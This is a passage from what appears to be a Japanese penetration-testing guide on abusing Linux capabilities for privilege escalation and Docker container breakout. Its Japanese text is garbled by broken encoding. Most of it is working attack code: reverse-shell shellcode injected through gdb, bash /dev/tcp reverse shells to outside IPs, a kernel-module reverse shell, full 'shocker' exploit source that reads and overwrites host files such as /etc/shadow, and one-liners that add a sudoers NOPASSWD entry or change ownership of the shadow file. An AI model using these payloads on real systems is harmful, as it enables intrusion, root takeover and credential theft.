buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"
# Divisible by 8
payload = b"\x90" * (-len(buf) % 8) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
ã«ãŒãããã»ã¹ãgdbã§ãããã°ãã以åã«çæãããgdbã®è¡ãã³ããŒïŒããŒã¹ãããŸã:
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
ç°å¢ã®äŸ (Dockerãã¬ã€ã¯ã¢ãŠã) - å¥ã®gdbã®æªçš
GDB ãã€ã³ã¹ããŒã«ãããŠããå ŽåïŒãŸã㯠apk add gdb ã apt install gdb ã§ã€ã³ã¹ããŒã«ã§ããŸãïŒããã¹ãããããã»ã¹ããããã°ããsystem 颿°ãåŒã³åºãããšãã§ããŸããïŒãã®æè¡ã¯ SYS_ADMIN æš©éãå¿
èŠã§ãïŒã
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
ã³ãã³ãã®åºåã¯èŠãããšãã§ããŸãããããã®ããã»ã¹ã«ãã£ãŠå®è¡ãããŸãïŒãããã£ãŠãrevã·ã§ã«ãååŸããŸãïŒã
Warning
âçŸåšã®ã³ã³ããã¹ãã«ãsystemããšããã·ã³ãã«ããããŸãããâãšãããšã©ãŒã衚瀺ãããå Žåã¯ãgdbãä»ããŠããã°ã©ã ã«ã·ã§ã«ã³ãŒããããŒãããåã®äŸã確èªããŠãã ããã
ç°å¢ã䜿çšããäŸïŒDockerãã¬ã€ã¯ã¢ãŠãïŒ - ã·ã§ã«ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³
Dockerã³ã³ããå ã§æå¹ãªèœåã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
ãªã¹ã ããã»ã¹ ãã¹ãã§ ps -eaf
- ã¢ãŒããã¯ã㣠ãååŸ
uname -m - ã¢ãŒããã¯ãã£çšã® ã·ã§ã«ã³ãŒã ãèŠã€ãã (https://www.exploit-db.com/exploits/41128)
- ããã»ã¹ã¡ã¢ãªã« ã·ã§ã«ã³ãŒã ã æ³šå ¥ ããããã® ããã°ã©ã ãèŠã€ãã (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
- ããã°ã©ã å
ã® ã·ã§ã«ã³ãŒã ã ä¿®æ£ ãã ã³ã³ãã€ã« ãã
gcc inject.c -o inject - 泚å
¥ ãã ã·ã§ã« ãååŸãã:
./inject 299; nc 172.17.0.1 5600
CAP_SYS_MODULE
CAP_SYS_MODULE ã¯ãããã»ã¹ã« ã«ãŒãã«ã¢ãžã¥ãŒã«ãããŒãããã³ã¢ã³ããŒãããæš©éãäžããŸãïŒinit_module(2)ãfinit_module(2)ãããã³ delete_module(2) ã·ã¹ãã ã³ãŒã«ïŒãããã«ãããã«ãŒãã«ã®ã³ã¢æäœã«çŽæ¥ã¢ã¯ã»ã¹ã§ããŸãããã®æ©èœã¯é倧ãªã»ãã¥ãªãã£ãªã¹ã¯ããããããç¹æš©ææ Œãã·ã¹ãã å
šäœã®å±éºã«ãããããå¯èœæ§ããããŸããã«ãŒãã«ã倿Žããããšãå¯èœã«ããLinuxã®ã»ãã¥ãªãã£ã¡ã«ããºã ãã³ã³ããã®éé¢ããã¹ãŠåé¿ããŸãã
ããã¯ããã¹ããã·ã³ã®ã«ãŒãã«ã«ã«ãŒãã«ã¢ãžã¥ãŒã«ãæ¿å
¥/åé€ã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
次ã®äŸã§ã¯ããã€ã㪠python ããã®æ©èœãæã£ãŠããŸãã
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
ããã©ã«ãã§ã¯ãmodprobe ã³ãã³ãã¯ãã£ã¬ã¯ã㪠/lib/modules/$(uname -r) å
ã®äŸåé¢ä¿ãªã¹ããšããããã¡ã€ã«ããã§ãã¯ããŸãã
ãããæªçšããããã«ããã§ã€ã¯ã® lib/modules ãã©ã«ããŒãäœæããŸãããïŒ
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
次ã«ãã«ãŒãã«ã¢ãžã¥ãŒã«ãã³ã³ãã€ã«ãã以äžã«2ã€ã®äŸãèŠã€ããŠããã®ãã©ã«ããŒã«ã³ããŒããŠãã ãã:
cp reverse-shell.ko lib/modules/$(uname -r)/
æåŸã«ããã®ã«ãŒãã«ã¢ãžã¥ãŒã«ãããŒãããããã«å¿ èŠãªPythonã³ãŒããå®è¡ããŸã:
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
Example 2 with binary
次ã®äŸã§ã¯ããã€ã㪠kmod ããã®èœåãæã£ãŠããŸãã
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
insmod ã³ãã³ãã䜿çšããŠã«ãŒãã«ã¢ãžã¥ãŒã«ãæ¿å
¥ããããšãå¯èœã§ããããšãæå³ããŸãããã®ç¹æš©ãæªçšã㊠reverse shell ãååŸããããã«ã以äžã®äŸã«åŸã£ãŠãã ããã
ç°å¢ã®äŸ (Docker breakout)
Docker ã³ã³ããå ã§æå¹ãªèœåã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
å éšã®åºåã«ã¯ãSYS_MODULE æš©éãæå¹ã§ããããšã瀺ãããŠããŸãã
ãªããŒã¹ã·ã§ã«ãå®è¡ããã«ãŒãã«ã¢ãžã¥ãŒã«ãšããããã³ã³ãã€ã«ããããã®MakefileãäœæããŸã:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Warning
Makefileå ã®åmakeåèªã®åã®ç©ºçœæåã¯ã¹ããŒã¹ã§ã¯ãªãã¿ãã§ãªããã°ãªããŸããïŒ
makeãå®è¡ããŠã³ã³ãã€ã«ããŸãã
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
æåŸã«ãã·ã§ã«å
ã§ncãèµ·åããå¥ã®ã·ã§ã«ããã¢ãžã¥ãŒã«ãããŒããããšãncããã»ã¹å
ã§ã·ã§ã«ããã£ããã£ã§ããŸãïŒ
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
ãã®æè¡ã®ã³ãŒãã¯ã https://www.pentesteracademy.com/ ã®ãSYS_MODULE Capabilityã®æªçšãã©ãããã³ããŒãããŸããã
ãã®æè¡ã®å¥ã®äŸã¯ãhttps://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host ã«ãããŸãã
CAP_DAC_READ_SEARCH
CAP_DAC_READ_SEARCH ã¯ãããã»ã¹ããã¡ã€ã«ã®èªã¿åãããã³ãã£ã¬ã¯ããªã®èªã¿åããšå®è¡ã®ããã®æš©éããã€ãã¹ããããšãå¯èœã«ããŸãããã®äž»ãªçšéã¯ãã¡ã€ã«æ€çŽ¢ãŸãã¯èªã¿åãã®ç®çã§ããããããããã«ããããã»ã¹ã¯ open_by_handle_at(2) 颿°ã䜿çšã§ããããã»ã¹ã®ããŠã³ãããŒã ã¹ããŒã¹ã®å€ã«ãããã¡ã€ã«ãå«ãä»»æã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸããopen_by_handle_at(2) ã§äœ¿çšããããã³ãã«ã¯ãname_to_handle_at(2) ãéããŠååŸãããééæãªèå¥åã§ããã¹ãã§ãããæ¹ããã«è匱ãªinodeçªå·ã®ãããªæ©å¯æ
å ±ãå«ãå¯èœæ§ããããŸãããã®èœåã®æªçšã®å¯èœæ§ã¯ãç¹ã«Dockerã³ã³ããã®æèã«ãããŠãSebastian Krahmerã«ãã£ãŠã·ã§ãã«ãŒãšã¯ã¹ããã€ãã§ç€ºãããŸããã詳现ã¯ãã¡ãã§åæãããŠããŸãã
ããã¯ããã¡ã€ã«ã®èªã¿åãæš©éãã§ãã¯ãšãã£ã¬ã¯ããªã®èªã¿åã/å®è¡æš©éãã§ãã¯ããã€ãã¹ã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
ãã€ããªã¯ä»»æã®ãã¡ã€ã«ãèªã¿åãããšãã§ããŸãããããã£ãŠãtarã®ãããªãã¡ã€ã«ããã®èœåãæã£ãŠããå Žåãshadowãã¡ã€ã«ãèªã¿åãããšãã§ããŸãã
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
Example with binary2
ãã®å Žåãpython ãã€ããªããã®èœåãæã£ãŠãããšä»®å®ããŸããã«ãŒããã¡ã€ã«ããªã¹ãããã«ã¯ã次ã®ããã«ããŸã:
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
ãã¡ã€ã«ãèªãããã«ã¯ã次ã®ããã«ã§ããŸã:
print(open("/etc/shadow", "r").read())
ç°å¢ã®äŸ (Dockerãã¬ã€ã¯ã¢ãŠã)
Dockerã³ã³ããå ã§æå¹ãªèœåã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
åã®åºåã§ã¯ãDAC_READ_SEARCHæš©éãæå¹ã«ãªã£ãŠããããšãããããŸãããã®çµæãã³ã³ããã¯ããã»ã¹ã®ãããã°ãå¯èœã§ãã
次ã®ãšã¯ã¹ããã€ãã®ä»çµã¿ã«ã€ããŠã¯https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3ã§åŠã¶ããšãã§ããŸãããèŠçŽãããšCAP_DAC_READ_SEARCHã¯ãèš±å¯ãã§ãã¯ãªãã§ãã¡ã€ã«ã·ã¹ãã ãæšªæããããšãå¯èœã«ããã ãã§ãªãã_open_by_handle_at(2)_ãžã®ãã§ãã¯ãæç€ºçã«åé€ããä»ã®ããã»ã¹ã«ãã£ãŠéãããæ©å¯ãã¡ã€ã«ã«ç§ãã¡ã®ããã»ã¹ãã¢ã¯ã»ã¹ã§ããå¯èœæ§ããããšããããšã§ãã
ãã®æš©éãæªçšããŠãã¹ããããã¡ã€ã«ãèªã¿åãå ã®ãšã¯ã¹ããã€ãã¯ããã«ãããŸã: http://stealth.openwall.net/xSports/shocker.cã以äžã¯ãèªã¿åããããã¡ã€ã«ãæåã®åŒæ°ãšããŠæå®ããããããã¡ã€ã«ã«ãã³ãããããšãå¯èœã«ããä¿®æ£ããŒãžã§ã³ã§ãã
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
Warning
ãã®ãšã¯ã¹ããã€ãã¯ããã¹ãäžã«ããŠã³ããããäœããžã®ãã€ã³ã¿ãèŠã€ããå¿ èŠããããŸããå ã®ãšã¯ã¹ããã€ãã¯ãã¡ã€ã« /.dockerinit ã䜿çšããŠããããã®ä¿®æ£ãããããŒãžã§ã³ã¯ /etc/hostname ã䜿çšããŠããŸãããšã¯ã¹ããã€ããæ©èœããªãå Žåã¯ãå¥ã®ãã¡ã€ã«ãèšå®ããå¿ èŠããããããããŸããããã¹ãã«ããŠã³ããããŠãããã¡ã€ã«ãèŠã€ããã«ã¯ãmount ã³ãã³ããå®è¡ããŠãã ããïŒ
 (1).png)
ãã®æè¡ã®ã³ãŒãã¯ã https://www.pentesteracademy.com/ ã®ãDAC_READ_SEARCH Capabilityã®æªçšãã©ãããã³ããŒãããŸããã
CAP_DAC_OVERRIDE
ããã¯ãä»»æã®ãã¡ã€ã«ã«å¯ŸããæžãèŸŒã¿æš©éãã§ãã¯ããã€ãã¹ã§ããããšãæå³ããä»»æã®ãã¡ã€ã«ã«æžã蟌ãããšãã§ããŸãã
ç¹æš©ãææ Œãããããã«äžæžãã§ãããã¡ã€ã«ã¯ãããããããŸãã ããããã¢ã€ãã¢ãåŸãããšãã§ããŸãã
ãã€ããªã®äŸ
ãã®äŸã§ã¯ãvim ã¯ãã®èœåãæã£ãŠãããããpasswdãsudoersããŸã㯠shadow ã®ãããªä»»æã®ãã¡ã€ã«ã倿Žã§ããŸãïŒ
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
Example with binary 2
ãã®äŸã§ã¯ãpython ãã€ããªã¯ãã®èœåãæã¡ãŸããããªã㯠python ã䜿çšããŠä»»æã®ãã¡ã€ã«ãäžæžãããããšãã§ããŸã:
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
ç°å¢ + CAP_DAC_READ_SEARCH (Dockerãã¬ã€ã¯ã¢ãŠã)ã®äŸ
Dockerã³ã³ããå ã§æå¹ãªèœåã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
ãŸãæåã«ããã¹ãã®DAC_READ_SEARCHèœåãæªçšããŠä»»æã®ãã¡ã€ã«ãèªã¿åããšããåã®ã»ã¯ã·ã§ã³ãèªã¿ããšã¯ã¹ããã€ããã³ã³ãã€ã«ããŠãã ããã
次ã«ããã¹ãã®ãã¡ã€ã«ã·ã¹ãã å
ã«ä»»æã®ãã¡ã€ã«ãæžã蟌ãããšãå¯èœã«ããæ¬¡ã®ããŒãžã§ã³ã®ã·ã§ãã«ãŒãšã¯ã¹ããã€ããã³ã³ãã€ã«ããŠãã ããïŒ
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
Dockerã³ã³ããããè±åºããããã«ããã¹ããããã¡ã€ã«/etc/shadowãš/etc/passwdãããŠã³ããŒãããããã«æ°ãããŠãŒã¶ãŒã远å ããshocker_writeã䜿çšããŠäžæžãããããšãã§ããŸãããã®åŸãsshçµç±ã§ã¢ã¯ã»ã¹ããŸãã
ãã®æè¡ã®ã³ãŒãã¯ã https://www.pentesteracademy.com ã®ãDAC_OVERRIDE Capabilityã®æªçšãã©ãããã³ããŒãããŸããã
CAP_CHOWN
ããã¯ãä»»æã®ãã¡ã€ã«ã®æææš©ã倿Žã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
pythonãã€ããªããã®èœåãæã£ãŠãããšä»®å®ãããšãshadowãã¡ã€ã«ã®ææè
ã倿Žããrootãã¹ã¯ãŒãã倿Žããç¹æš©ãææ Œãããããšãã§ããŸãã
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
ruby ãã€ããªããã®èœåãæã£ãŠããå Žå:
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
CAP_FOWNER
ããã¯ãä»»æã®ãã¡ã€ã«ã®æš©éã倿Žã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
ããpythonããã®èœåãæã£ãŠããã°ãshadowãã¡ã€ã«ã®æš©éã倿Žããrootãã¹ã¯ãŒãã倿Žããç¹æš©ãææ Œãããããšãã§ããŸãïŒ
python -c 'import os;os.chmod("/etc/shadow",0666)
CAP_SETUID
ããã¯ãäœæãããããã»ã¹ã®æå¹ãŠãŒã¶ãŒIDãèšå®ã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
ããpythonããã®capabilityãæã£ãŠããå Žåãç¹æš©ãrootã«ææ Œãããããã«éåžžã«ç°¡åã«æªçšã§ããŸãïŒ
import os
os.setuid(0)
os.system("/bin/bash")
å¥ã®æ¹æ³:
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
CAP_SETGID
ããã¯ãäœæãããããã»ã¹ã®æå¹ã°ã«ãŒãIDãèšå®ã§ããããšãæå³ããŸãã
ç¹æš©ãææ Œãããããã«äžæžãã§ãããã¡ã€ã«ããããããããŸãã ããããã¢ã€ãã¢ãåŸãããšãã§ããŸãã
ãã€ããªã®äŸ
ãã®å Žåãã°ã«ãŒããèªã¿åããè峿·±ããã¡ã€ã«ãæ¢ãã¹ãã§ãããªããªããä»»æã®ã°ã«ãŒããåœè£ ã§ããããã§ãïŒ
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
ãã¡ã€ã«ãèŠã€ããŠïŒèªã¿åããŸãã¯æžã蟌ã¿ãéããŠïŒç¹æš©ãææ Œãããããšãã§ããå Žåãæ¬¡ã®ã³ãã³ãã䜿çšããŠèå³ã®ããã°ã«ãŒããåœè£ ããã·ã§ã«ãååŸã§ããŸã:
import os
os.setgid(42)
os.system("/bin/bash")
ãã®å Žåãã°ã«ãŒãshadowããªãããŸããããŠããããããã¡ã€ã«/etc/shadowãèªãããšãã§ããŸã:
cat /etc/shadow
ããdockerãã€ã³ã¹ããŒã«ãããŠããå Žåãdocker groupããªãããŸãããšãã§ããdocker socketãšç¹æš©ãææ Œãããããã«ãããæªçšããããšãã§ããŸãã
CAP_SETFCAP
ããã¯ããã¡ã€ã«ãããã»ã¹ã«èœåãèšå®ããããšãå¯èœã§ããããšãæå³ããŸã
ãã€ããªã®äŸ
ããpythonããã®èœåãæã£ãŠããå Žåãç¹æš©ãrootã«ææ Œãããããã«ãããéåžžã«ç°¡åã«æªçšããããšãã§ããŸãïŒ
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
